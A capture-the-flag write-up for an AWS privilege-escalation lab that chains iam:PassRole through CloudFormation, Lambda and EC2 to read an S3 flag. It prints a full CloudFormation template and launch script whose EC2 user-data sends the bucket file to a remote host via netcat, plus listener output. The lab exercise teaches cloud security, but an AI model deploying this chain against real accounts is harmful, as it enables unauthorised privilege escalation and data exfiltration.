In the 2022 FIFA World Cup, Christian Pulisic put his body on the line to net a crucial goal for the USA, ensuring their progression beyond the group stage: https://www.youtube.com/watch?v=Y7VA30UYlQo. He did what he had to do, even though he knew it was going to hurt.

Similarly, during a penetration test, whether in a cloud environment or otherwise, you might identify a exploit path that won’t be pleasant to exploit, but you know the end result will be worth it.

For this challenge, you have just gained access to the role christian_pulisic. The trophy target for this challenge is in an s3 bucket named pain-s3-[random-chars] in your account.

Start with christian_pulisic and follow the permissions until you see the path. That’s the easy part :). Executing the exploit chain… not so easy.

Pulisic in the hospital

Information Gathering

First things first, set up the profile, and test access.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
adicpnn@laboratory cloud % cat ~/.aws/config | tail 

[profile chris]
region = eu-central-1
role_arn = arn:aws:iam::129323993607:role/christian_pulisic
source_profile = cloudfoxable

adicpnn@laboratory cloud % aws sts get-caller-identity --profile chris
{
    "UserId": "AROAR4HCPRID3CJXSNQTL:botocore-session-1773330487",
    "Account": "129323993607",
    "Arn": "arn:aws:sts::129323993607:assumed-role/christian_pulisic/botocore-session-1773330487"
}

Then, enumerating attached policies.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name christian_pulisic --profile cloudfoxable
{
    "AttachedPolicies": [
        {
            "PolicyName": "pain-policy",
            "PolicyArn": "arn:aws:iam::129323993607:policy/pain-policy"
        },
        {
            "PolicyName": "AWSCloudFormationReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AWSCloudFormationReadOnlyAccess"
        },
        {
            "PolicyName": "AmazonEC2ReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AmazonEC2ReadOnlyAccess"
        }
    ]
}
adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/pain-policy --version-id v1 --profile cloudfoxable
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "cloudformation:CreateStack",
                        "cloudformation:DescribeStacks",
                        "cloudformation:DeleteStack",
                        "cloudformation:DescribeStackEvents",
                        "cloudformation:DescribeStackResource",
                        "cloudformation:DescribeStackResources",
                        "cloudformation:DescribeStacks"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": [
                        "iam:PassRole"
                    ],
                    "Effect": "Allow",
                    "Resource": [
                        "*"
                    ]
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2026-03-11T15:43:57+00:00"
    }
}

This permissions combination is a common IAM Privilege Escalation vector, nicely documented by Seth Art here:

A principal with iam:PassRole and cloudformation:CreateStack can launch a CloudFormation template that creates AWS resources. The template executes with the permissions of the passed IAM role. This allows creation of resources controlled by the attacker, such as IAM users, Lambda functions, or EC2 instances. The level of access gained depends on the permissions of the available roles.

To proceed from here, I’ll need to find a role in the AWS Account that trusts “cloudformation.amazonaws.com” to assume it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
aws iam list-roles --profile cloudfoxable | jq '.Roles | map({Arn,AssumeRolePolicyDocument})'
...
 {
    "Arn": "arn:aws:iam::129323993607:role/tab_ramos",
    "AssumeRolePolicyDocument": {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Effect": "Allow",
          "Principal": {
            "Service": "cloudformation.amazonaws.com"
          },
          "Action": "sts:AssumeRole"
        }
      ]
    }
  },
...

Let’s see if the role has any administrative privileges.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name tab_ramos --profile cloudfoxable
{
    "AttachedPolicies": [
        {
            "PolicyName": "pain2-policy",
            "PolicyArn": "arn:aws:iam::129323993607:policy/pain2-policy"
        },
        {
            "PolicyName": "AWSLambda_FullAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AWSLambda_FullAccess"
        }
    ]
}
adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/pain2-policy --version-id v1 --profile cloudfoxable
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "iam:PassRole"
                    ],
                    "Effect": "Deny",
                    "Resource": [
                        "arn:aws:iam::*:role/aaronson",
                        "arn:aws:iam::*:role/my-app-role",
                        "arn:aws:iam::*:role/producer",
                        "arn:aws:iam::*:role/ream",
                        "arn:aws:iam::*:role/sauerbrunn",
                        "arn:aws:iam::*:role/swanson",
                        "arn:aws:iam::*:role/lambda_*"
                    ]
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2026-03-11T15:43:57+00:00"
    }
}

What this means so far, is that cloudformation has full access over lambda, and that it can pass another role to it. Now I need to find a role that allows lambda.amazonaws.com to assume it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
aws iam list-roles --profile cloudfoxable | jq '.Roles | map({Arn,AssumeRolePolicyDocument})'
...
{
    "Arn": "arn:aws:iam::129323993607:role/brian_mcbride",
    "AssumeRolePolicyDocument": {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Effect": "Allow",
          "Principal": {
            "Service": "lambda.amazonaws.com"
          },
          "Action": "sts:AssumeRole"
        }
      ]
    }
  },
...
adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name brian_mcbride --profile cloudfoxable
{
    "AttachedPolicies": [
        {
            "PolicyName": "pain3-ec2-policy",
            "PolicyArn": "arn:aws:iam::129323993607:policy/pain3-ec2-policy"
        },
        {
            "PolicyName": "AWSLambdaBasicExecutionRole",
            "PolicyArn": "arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole"
        }
    ]
}
adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/pain3-ec2-policy --version-id v1 --profile cloudfoxable
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "ec2:RunInstances",
                        "ec2:DescribeInstances",
                        "ec2:TerminateInstances",
                        "ec2:Describe*"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": [
                        "iam:PassRole"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": [
                        "iam:PassRole"
                    ],
                    "Effect": "Deny",
                    "Resource": [
                        "arn:aws:iam::*:role/double_*",
                        "arn:aws:iam::*:role/ec2_privileged",
                        "arn:aws:iam::*:role/fox",
                        "arn:aws:iam::*:role/wyatt",
                        "arn:aws:iam::*:role/reyna"
                    ]
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2026-03-11T15:43:56+00:00"
    }
}

Ok, now this essentially means that a lambda function could create an EC2 instance, and pass it another role. The potential attack chain lengthens.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
aws iam list-roles --profile cloudfoxable | jq '.Roles | map({Arn,AssumeRolePolicyDocument})'
...
 {
    "Arn": "arn:aws:iam::129323993607:role/landon_donovan",
    "AssumeRolePolicyDocument": {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Effect": "Allow",
          "Principal": {
            "Service": "ec2.amazonaws.com"
          },
          "Action": "sts:AssumeRole"
        }
      ]
    }
  },
...
adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name landon_donovan --profile cloudfoxable
{
    "AttachedPolicies": [
        {
            "PolicyName": "pain4-policy",
            "PolicyArn": "arn:aws:iam::129323993607:policy/pain4-policy"
        }
    ]
}
adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/pain4-policy --version-id v1 --profile cloudfoxable
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "s3:GetObject",
                        "s3:ListBucket"
                    ],
                    "Effect": "Allow",
                    "Resource": [
                        "arn:aws:s3:::pain-s3-1v1nf",
                        "arn:aws:s3:::pain-s3-1v1nf/*"
                    ]
                },
                {
                    "Action": [
                        "s3:ListAllMyBuckets"
                    ],
                    "Effect": "Allow",
                    "Resource": [
                        "*"
                    ]
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2026-03-11T15:44:08+00:00"
    }
}  

And finally, an EC2 instance could assume an instance profile that allows it to list an s3 bucket.

To summarize everything so far:

  • Our user can create cloudformation stacks, and pass them the role tab_ramos
  • Cloudformation can create and invoke a lambda function, and pass it the role brian_mcbride
  • A lambda function with the aforementioned role can run an EC2 instance, and pass it the role landon_donovan
  • The EC2 instance could then read from an S3 bucket

For this challenge, with the help of trusty Claude AI, I’ve built a cloudformation template that automates all of that, and tells the EC2 instance to send the flag.txt file to another EC2 instance I use as an exfiltration point.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
AWSTemplateFormatVersion: '2010-09-09'
Description: >
  Stack that creates a Lambda function which launches an EC2 instance.

  The EC2 instance reads from S3 and sends the listing + all file contents
  to a remote server via netcat.

Parameters:

  LambdaRoleArn:
    Type: String
    Description: the existing IAM role for the Lambda function

  Ec2InstanceProfileArn:
    Type: String
    Description: >
      ARN of the Instance Profile that wraps Role3 – assigned to the EC2 instance.
      Format: arn:aws:iam::123456789012:instance-profile/Role3ProfileName

  S3BucketName:
    Type: String
    Description: Name of the existing S3 bucket whose contents you want to list

  NcHost:
    Type: String
    Description: Hostname or IP of the netcat receiver

  NcPort:
    Type: Number
    Description: TCP port the netcat receiver is listening on

  Ec2AmiId:
    Type: String
    Default: ami-096a4fdbcf530d8e0 
    Description: >
      AMI ID for the EC2 instance. Default is Amazon Linux 2023 in eu-central-1.

  Ec2InstanceType:
    Type: String
    Default: t3.micro

Resources:

  S3ListLambda:
    Type: AWS::Lambda::Function
    Properties:
      FunctionName: !Sub "${AWS::StackName}-s3-list"
      Runtime: python3.12
      Handler: index.handler
      Role: !Ref LambdaRoleArn
      Timeout: 30
      Environment:
        Variables:
          INSTANCE_PROFILE_ARN: !Ref Ec2InstanceProfileArn
          S3_BUCKET: !Ref S3BucketName
          NC_HOST: !Ref NcHost
          NC_PORT: !Ref NcPort
          AMI_ID: !Ref Ec2AmiId
          INSTANCE_TYPE: !Ref Ec2InstanceType
      Code:
        ZipFile: |
          import boto3, os, json
          from urllib.request import urlopen, Request
          from urllib.error import URLError

          ec2 = boto3.client("ec2")

          def send_cfn_response(event, context, status, reason="", data={}):
              """Signal CloudFormation that the custom resource succeeded or failed."""
              body = json.dumps({
                  "Status":             status,
                  "Reason":             reason,
                  "PhysicalResourceId": context.log_stream_name,
                  "StackId":            event["StackId"],
                  "RequestId":          event["RequestId"],
                  "LogicalResourceId":  event["LogicalResourceId"],
                  "Data":               data,
              }).encode()
              req = Request(event["ResponseURL"], data=body,
                            headers={"Content-Type": ""}, method="PUT")
              try:
                  urlopen(req, timeout=10)
              except URLError as e:
                  print(f"CFN response failed: {e}")

          def handler(event, context):
              print(json.dumps(event))

              # On stack DELETE CloudFormation sends a Delete request – just succeed.
              if event.get("RequestType") == "Delete":
                  send_cfn_response(event, context, "SUCCESS")
                  return

              try:
                  bucket        = os.environ["S3_BUCKET"]
                  profile_arn   = os.environ["INSTANCE_PROFILE_ARN"]
                  ami_id        = os.environ["AMI_ID"]
                  instance_type = os.environ["INSTANCE_TYPE"]
                  nc_host       = os.environ["NC_HOST"]
                  nc_port       = os.environ["NC_PORT"]

                  user_data = f"""#!/bin/bash
          set -e
          BUCKET="{bucket}"
          NC_HOST="{nc_host}"
          NC_PORT="{nc_port}"

          # Install netcat (not included by default on Amazon Linux 2023)
          yum install -y nmap-ncat

          aws s3 cp s3://$BUCKET/flag.txt /tmp/flag.txt
          cat /tmp/flag.txt | nc -w 5 "$NC_HOST" "$NC_PORT"

          shutdown -h now
          """

                  resp = ec2.run_instances(
                      ImageId=ami_id,
                      InstanceType=instance_type,
                      MinCount=1,
                      MaxCount=1,
                      IamInstanceProfile={"Arn": profile_arn},
                      UserData=user_data,
                      InstanceInitiatedShutdownBehavior="terminate",
                  )

                  instance_id = resp["Instances"][0]["InstanceId"]
                  print(json.dumps({"launched_instance": instance_id, "bucket": bucket}))
                  send_cfn_response(event, context, "SUCCESS",
                                    data={"InstanceId": instance_id})

              except Exception as e:
                  print(f"Error: {e}")
                  send_cfn_response(event, context, "FAILED", reason=str(e))

  # Triggers the Lambda exactly once when the stack is created
  LambdaTrigger:
    Type: Custom::LaunchEc2Job
    DependsOn: S3ListLambda
    Properties:
      ServiceToken: !GetAtt S3ListLambda.Arn

Outputs:
  LambdaFunctionName:
    Value: !Ref S3ListLambda
    Description: Lambda that launches the EC2 job (auto-invoked on stack deploy)

I can run this now, with a little helper script to pass in all the variables, ensuring that I first ran the netcat listener on my other EC2 instance.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
export AWS_REGION="eu-central-1"           # change if needed
export STACK_NAME="mystack"
export S3_BUCKET="pain-s3-xtz98"   #  bucket you want to read

export ROLE1_ARN="arn:aws:iam::129323993607:role/tab_ramos"                              
export ROLE2_ARN="arn:aws:iam::129323993607:role/brian_mcbride"                              
export ROLE3_PROFILE_ARN="arn:aws:iam::129323993607:instance-profile/landon_donovan"  

export NC_HOST="IPV4" # IP or hostname of your receiving server
export NC_PORT="9999"         # e.g. 9999

aws cloudformation create-stack \
  --stack-name "$STACK_NAME" \
  --template-body file://cfn-template.yaml \
  --role-arn "$ROLE1_ARN" \
  --parameters \
      ParameterKey=LambdaRoleArn,ParameterValue="$ROLE2_ARN" \
      ParameterKey=Ec2InstanceProfileArn,ParameterValue="$ROLE3_PROFILE_ARN" \
      ParameterKey=S3BucketName,ParameterValue="$S3_BUCKET" \
      ParameterKey=NcHost,ParameterValue="$NC_HOST" \
      ParameterKey=NcPort,ParameterValue="$NC_PORT" \
  --capabilities CAPABILITY_IAM \
  --region "$AWS_REGION" \
  --profile "pulisic"

echo "Stack creation started. Waiting for CREATE_COMPLETE..."

aws cloudformation wait stack-create-complete \
  --stack-name "$STACK_NAME" \
  --region "$AWS_REGION" \
  --profile "pulisic"

echo "Stack created – EC2 instance launched automatically"
echo "Watch your netcat listener for incoming data."

Then, I can simply run the script, and if everything has been set-up properly, success will ensure.

1
2
3
4
5
6
7
8
adicpnn@laboratory cloud % ./pain_setup.sh
{
    "StackId": "arn:aws:cloudformation:eu-central-1:129323993607:stack/mystack/98f8f250-1ee2-11f1-be96-0aa3466a036b",
    "OperationId": "a1d281c7-3633-403b-a928-cdf17f14bda8"
}
Stack creation started. Waiting for CREATE_COMPLETE...
Stack created – EC2 instance launched automatically
Watch your netcat listener for incoming data.
1
2
3
4
5
6
7
8
[ec2-user@ip-172-31-37-14 ~]$ nc -lnvp 9999
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 3.69.165.187.
Ncat: Connection from 3.69.165.187:53060.

FLAG{pain::pulisic_is_proud_of_you}

Nicely done!

If you’re trying this for yourself, make sure to manually delete the EC2 instance created, as it’s created by lambda, not cloudformation, and won’t be deleted with the stack.